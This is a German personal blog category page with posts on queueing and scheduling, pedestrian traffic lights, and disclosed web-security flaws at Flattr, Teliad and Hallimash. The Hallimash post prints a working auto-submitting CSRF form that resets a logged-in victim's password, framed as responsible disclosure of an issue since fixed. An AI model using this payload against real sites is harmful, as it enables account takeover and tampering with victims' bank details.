Category: thoughts

Das Märchen von der Schlange...

08.03.2011 yahe legacy thoughts

Gestern war ich mal wieder tanken und durfte am Kassenhäuschen ein Zettelchen lesen, auf dem darum gebeten wurde, mehrere Warteschlangen zu bilden, wenn mehrere Kassen geöffnet sind - angeblich, um die Wartezeiten zu verkürzen. Aber stimmt das überhaupt? Ist es richtig, dass man kürzere Wartezeiten hat, wenn man die Wartenden auf mehrere Schlangen aufteilt? Ist es nicht vielleicht sogar effizienter, wenn man (wie in England üblich) eine Warteschlange nutzt und diese zum Schluss auf die einzelnen Kassen aufteilt?

Was ihr evtl. noch nicht wusstest: Auch die Informatik befasst sich mit diesem bzw. einem ähnlichen Problem. Dort ist es unter dem Begriff "Scheduling" (dt. "Reihenfolgeplanung") bekannt. Ohne Scheduling könntet ihr an eurem Computer nur ein Programm gleichzeitig laufen lassen. Euer Musikplayer würde stoppen, sobald ihr den Browser benutzt. Die Webseite würde aufhören zu laden, sobald ihr eine E-Mail absendet, etc. Beim PC kommt ein so genanntes "preemptive Scheduling" zum Einsatz. Das bedeutet, dass die laufenden Prozesse unterbrochen werden, um anderen Prozessen Zeit zum Arbeiten zu geben. Sollte es doch dazu kommen, dass ein System wegen eines inperformanten Prozesses träge wird, dann gibt es meist Probleme mit dem Scheduling.

Bei der Warteschlange an der Supermarktkasse kann man solch ein System leider nicht einsetzen. Wäre ja merkwürdig, wenn die Kassiererin sich beim Bezahlen plötzlich zu einem anderen Kunden umdreht und den erstmal bezahlen lässt. Bei Systemen, die keine Unterbrechung der einzelnen Prozesse zulassen, spricht man vom "non-preemptive Scheduling".

Soviel zur grundlegenden Theorie. Kommen wir nun also zur eigentlichen Frage: "Was ist schneller? Eine oder mehrere Warteschlangen?" oder anders ausgedrückt: "Welcher non-preemtive Scheduling-Algorithmus ist effizienter?"

Wenn wir uns mal in die Lage eines Supermarktbesuchers versetzen, der an die Kasse kommt, dann fällt uns auf, dass er versucht, anhand von Parametern zu ermitteln, bei welcher Warteschlange er wohl die kürzeste Wartezeit zu erdulden hat. Dabei hat er meist 4 Faktoren:

  1. Die Anzahl der Leute, die vor ihm stehen.
  2. Das Alter der Leute, die vor ihm stehen.
  3. Die Anzahl der Waren, die die Leute vor ihm haben.
  4. Die Arbeitsgeschwindigkeit des Kassierers.

Viele Leute in der Schlange bedeuten lange Wartezeiten, alte Leute bedeuten lange Wartezeiten, viele Waren bedeuten lange Wartezeiten und auch ein langsam arbeitender Kassierer bedeutet lange Wartezeiten. Es werden also unterbewusst Gewichtungen zwischen den einzelnen Warteschlangen vorgenommen und sich dann für die Kasse entschieden, bei der die vermutete Wartezeit am geringsten ist. Das Vorgehen ist gar nicht mal so doof und wird als "approximate Scheduling" bezeichnet. Es wird auf Basis von geschätzten Werten eine Entscheidung getroffen. Das mag funktionieren, kann aber auch tierisch in die Hose gehen.

Approximate Scheduling: Kein Problem

Im gezeigten Beispiel haben wir zwei Kassen und zwei Warteschlangen. An der einen Kasse warten vier Personen, an der anderen Kasse nur eine. Von den Personen an Kasse A wird geschätzt, dass sie 1 Minute, 2 Minuten, 1 Minute und 3 Minuten für das Abkassieren benötigen werden. An Kasse B steht nur eine Person, von der geschätzt wird, dass sie 3 Minuten für's Bezahlen brauchen wird. Die Wahl ist also klar: Ein Kunde, der sich für eine Kasse entscheiden müsste, würde wohl Kasse B wählen, da die zu erwartende Wartezeit geringer ist.

Approximate Scheduling: Problem

Man stelle sich nun aber vor, die eigene Schätzung ist falsch, z.B. weil man nicht erkannt hat, dass die Person an Kasse B einen Artikel reklamieren will und auf den Manager wartet und in Wirklichkeit 10 Minuten braucht. Dann steht man plötzlich an der Kasse, an der man fast 50% länger warten muss. Genau hier versagt das approximative Verfahren, das bei mehreren Warteschlangen zum Einsatz kommt. Und wirklich genervt ist man spätestens dann, wenn man sich entschließt, die Kasse zu wechseln, dort dann aber bereits neue Leute anstehen, sodass man genauso lange (oder länger) warten müsste.

Anders sieht es aus, wenn man nur eine Warteschlange hat und der Kunde sich erst dann zur Kasse begibt, wenn diese frei ist. Auch wenn es für einige paradox klingt: Obwohl die Warteschlange länger ist, wartet man statistisch gesehen weniger lange. Der Grund ist, dass bei Problemen an einer Kasse der Rest der Kunden automatisch auf die anderen Kassen verteilt wird. Man muss also keine Wartezeiten schätzen und auf Basis der Schätzungen entscheiden, sondern man nutzt die exakten, real existierenden Werte für eine optimale Verteilung. Man spricht hierbei vom exact Scheduling.

Exact Scheduling: Keine Probleme

Leider wird diese Form der Warteschlange in Deutschland kaum eingesetzt. Ob nun beim Warten vor'm Sportstadion, vor der Kinokasse, im Supermarkt - die Deutschen scheinen mit dem Konzept nicht viel anfangen zu können. Bspw. in England sieht das zum Glück ein wenig anders aus. Dort gibt es meist eine so genannte "Queue Areas", in der sich alle Kunden anstellen. Durch Lampen an den Kassen oder durch Displays wird dem jeweils Fordersten in der Schlange angezeigt, welche Kasse für ihn frei ist. Ich, als jemand, der etwa einmal im Jahr auf der Insel zu Besuch ist, finde diese Form der Warteschlange sehr entspannend, denn die Entscheidung, welche Kasse ich nehme, übernimmt das sich selbst optimierende System.

Die TU Clausthal hat das Thema übrigens einmal stochastisch analysiert und ist genau zu den gleichen Ergebnissen gekommen. Interessant finde ich vor allem die letzte Darstellung, in der man einen deutlichen Unterschied zwischen der mittleren Wartezeit bei einer Warteschlange (blau) und der mittleren Wartezeit bei mehreren Warteschlangen (rot) erkennen kann. Wäre ich also ein Ladenbesitzer, dann würde ich meinen Kunden einen Gefallen tun und eine Queue Area einrichten. :-)


Aktuelle Sicherheit von Flattr

25.10.2010 yahe legacy security thoughts

Nachdem ich vor einiger Zeit einmal eine Schwachstelle bei Flattr aufgedeckt hatte, hat mich heute einmal interessiert, wie die Flattr-Links nun inzwischen abgesichert sind. Nach ein bisschen Graben habe ich nun die Antwort gefunden.

Erst einmal noch grundsätzlich dazu, wie Flattr überhaupt funktioniert: Damit ein "Thing" geflattred werden kann, muss man eingeloggt sein, Geld auf sein Flattr-Konto eingezahlt haben und einen Flattr-Button drücken. Dieser Flattr-Button ist grob gesehen nichts anderes als ein Link mit einer eindeutigen ID. Früher war es so, dass man einen eingeloggten Nutzer nur dazu bringen musste, diese URL mit dieser eindeutigen ID aufzurufen, um einen Flattr-Button-Click zu simulieren.

Inzwischen sieht das ganze ein wenig anders aus. Inzwischen ist es so, dass beim Login ein Wert mit dem Namen "f_rt" im Cookie von Flattr.com hinterlegt wird. Beim Aufruf einer Flattr-URL wird dieser Wert im Header-Eintrag "X_REQUEST_TOKEN" mitgegeben. Daneben werden zusätzlich noch die Header-Einträge "X_REQUESTED_WITH" (muss anscheinend "XMLHttpRequest" sein) und "Referer" (muss anscheinend mit "api.flattr.com" beginnen) abgeprüft. Dass die beiden statischen Werte abgeprüft werden, halte ich für ziemlich unnötig, da diese problemlos gefälscht werden können.

Die Idee mit dem Cookie und dem daraus abgeleiteten HTTP-Header-Eintrag finde ich ziemlich intelligent gelöst. Einfaches Klicken auf eine Flattr-Button-URL ist dadurch nicht mehr möglich und selbst trickreichere Angriffe laufen dadurch ins Leere, da es für fremde Seiten nicht möglich ist (zumindest laut Definition), die Cookie-Informationen einer fremden Seite auszulesen.

Nun kommt jedoch ein aber, das ich besonders betonen möchte: Die Cookies von Flattr haben ein massives Problem. Diese sind für alle Subdomains von Flattr.com gültig. Das bedeutet, dass sollte es an irgendeiner Stelle möglich sein, der Flattr-Plattform Schadcode unterzuschieben (JavaScript im Profil, JavaScript in einer Thing-Beschreibung, o.Ä.), dies genutzt werden kann, um die derzeitige Sicherheit von Flattr auszuhebeln. Schlimmer noch: Genau dieses Problem scheint im Flattr-Forum schon einmal ausgenutzt worden zu sein. Die Konsequenz, die draus gezogen wurde, ist, dass das Forum inzwischen unter "forum.flattr.net" statt unter "forum.flattr.com" erreichbar ist.

Neben der Sicherung des Flattr-Vorganges selbst wurde übrigens auch die Nachsorge verbessert. So findet man in seinem Dashboard unter "Things I have flattred" zu jedem Thing in der Liste einen "Report this click"-Link, den man nutzen kann, um Flatterings zu melden, die man selbst nicht vorgenommen hat. Dafür muss man jedoch natürlich regelmäßig dort in die Liste gucken.


Teliad und das XSRF-Problem

28.09.2010 yahe legacy security thoughts

Schon mehrfach habe ich auf Dienste hingewiesen, die anfällig für XSRF-Attacken waren. Heute habe ich mir einmal angesehen, wie es mit der Sicherheit des Webmarketing-Anbieters "Teliad" aussieht.

Wie es der Zufall so wollte, war auch Teliad anfällig für genau die gleichen Attacken. Das besondere in diesem Fall ist die URL "/mein-teliad/mein-konto/stammdaten-aendern.html", denn anhand des Parameters "frmMetaData[intPage]" wird entschieden, ob die Kontaktdaten (inkl. Username und E-Mail-Adresse) oder aber die Bankdaten geändert werden sollen. Wie immer konnte diese Schwachstelle verheerende Folgen haben. Man konnte still und heimlich das Auszahlungsbankkonto ändern oder aber die E-Mail-Adresse und den Usernamen, um sich anschließend per "Passwort vergessen"-Funktion ein neues Passwort zuschicken zu lassen.

Da ich inzwischen schon mehrfach über XSRF-Attacken geschrieben habe, wollte ich nicht extra nochmal einen Artikel über das Problem verfassen. Die Antwort, die ich von Teliad zu dem Problem erhalten hatte, hat mich nun aber dazu veranlasst. In dieser wurde mir nämlich mitgeteilt, dass man die Webseite nach XSRF-Problemen hin überprüft habe und keine Lücken habe finden können. Weiterhin wurde mir mitgeteilt, dass serverseitig sichergestellt werden würde, dass das Versenden von gefakten Formularen nicht funktionieren würde. Schlussendlich wurde mir mitgeteilt, dass ich wahrscheinlich auf einen Sonderfall gestoßen sei, den man aber nicht näher spezifizieren wolle.

Das war natürlich alles ausgemachter Blödsinn. Es klaffte eine Lücke bei Teliad und man wusste trotz Hinweis anscheinend noch nicht einmal davon. Also schrieb ich nochmals eine E-Mail und teilte den Leuten mit, wo das Problem denn genau lag. Neuerdings wird nun bei den beanstandeten Formularen ein neues "Token"-Feld mitgeliefert, durch das der XSRF-Angriff verhindert werden kann. Auch, wenn der Weg in meinen Augen ein bisschen holprig war, freue ich mich, dass Teliad innerhalb weniger Stunden eine akzeptable Lösung für das Problem anbieten konnte.


Die Fußgänger-Ampel...

19.08.2010 yahe legacy thoughts

Es hat mich immer schon geärgert, dass bei getrennten Fahrspuren (z.B. durch eine Verkehrsinsel) eine Straßenseite der Fußgängerampeln immer eher grün bekommt als die andere. Und man selber steht natürlich immer auf der falschen Seite und muss den anderen Fußgängern dabei zugucken, wie sie einem bereits entgegen laufen, während man selbst noch auf sein Grün wartet. Aber warum ist das so? Warum werden bei einer breiten Straße nicht beide Laufrichtungen gleichzeitig auf grün geschaltet? Die Antwort darauf ist verblüffend!

Um die Situation, die damit vermieden wird, mal darzustellen, habe ich eine typische Kreuzung aufgemalt. Die Autos, die von links nach rechts fahren, haben gerade rot bekommen und die, die von oben nach unten fahren, kriegen gleich grün. Die Fußgänger dürfen natürlich zuerst loslaufen. In unserem fiktiven Beispiel dürfen alle Fußgänger gleichzeitig loslaufen. Und da passiert auch schon das Unglück! Ein von rechts kommender Autofahrer war bei Gelb noch schnell über die Ampel gefahren und rast nun direkt auf die Fußgänger zu, die bereits auf die Straße gelaufen sind. Eine gefährliche Situation!

Die Fußgängerampel

Um genau diese gefährliche Situation zu vermeiden, dürfen die Fußgänger, die aus der Sicht der Autofahrer hinter der Kreuzung über die Straße laufen, erst später losgehen als die Fußgänger, die vor der Kreuzung die Straße überqueren. Dadurch haben alle Autos die Kreuzung bereits verlassen, bevor die gefährdeten Fußgänger die Straße betreten dürfen.


Hallimash ist genauso schlimm wie Trigami

08.08.2010 yahe legacy security thoughts

Nachdem ich mir letzes Mal Trigami angesehen habe, soll es heute um deren Konkurrenten "Hallimash" gehen. Denn auch deren Webseite enthält "CSRF"-Lücken (Cross-Site Request Forgery):

<form action="/index.php?b=passwort&nav=2" method="POST">
  <input type="password" name="pw1" value="" maxlength="20" style="width:200px;" class="text">
  <input type="password" name="pw2" value="" maxlength="20" style="width:200px;" class="text">
  <input type="image" src="images/btn/speichern.jpg">
  <input type="hidden" name="sent" value="on">
</form>

Natürlich funktioniert der hier gezeigte Angriff in abgewandelter Form auch wieder wunderbar, um die Kontoverbindungsdaten eines Opfers zu ändern, bei denen man, wenn man ehrlich ist, frühestens bei einem Abrechnungsproblem mal hineinsehen wird.

<form method="POST" id="hallimashpwd" name="hallimashpwd" action="http://www.hallimash.com/index.php?b=passwort&nav=2">
  <input type="password" name="pw1" value="neuesPasswort" maxlength="20" style="width:200px;" class="text">
  <input type="password" name="pw2" value="neuesPasswort" maxlength="20" style="width:200px;" class="text">
  <input type="submit" name="submitButton">
  <input type="hidden" name="sent" value="on">
</form>
<script type="text/javascript">
  document.hallimashpwd.submitButton.click();
</script>

Auch hier gilt wieder einmal der Tipp, nur eingeloggt zu bleiben, wenn man gerade etwas auf der Seite machen will. Danach sollte man sich sofort wieder ausloggen, um solche Angriffe zu umgehen.

Update

Wie mir von Hallimash mitgeteilt wurde, haben sie das Problem nun beseitigt. Ein Blick auf die Webseite zeigt, dass sie nun eindeutige Tokens generieren, um die gezeigte Art Angriffe zu unterbinden.


Search

Links

RSS feed

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)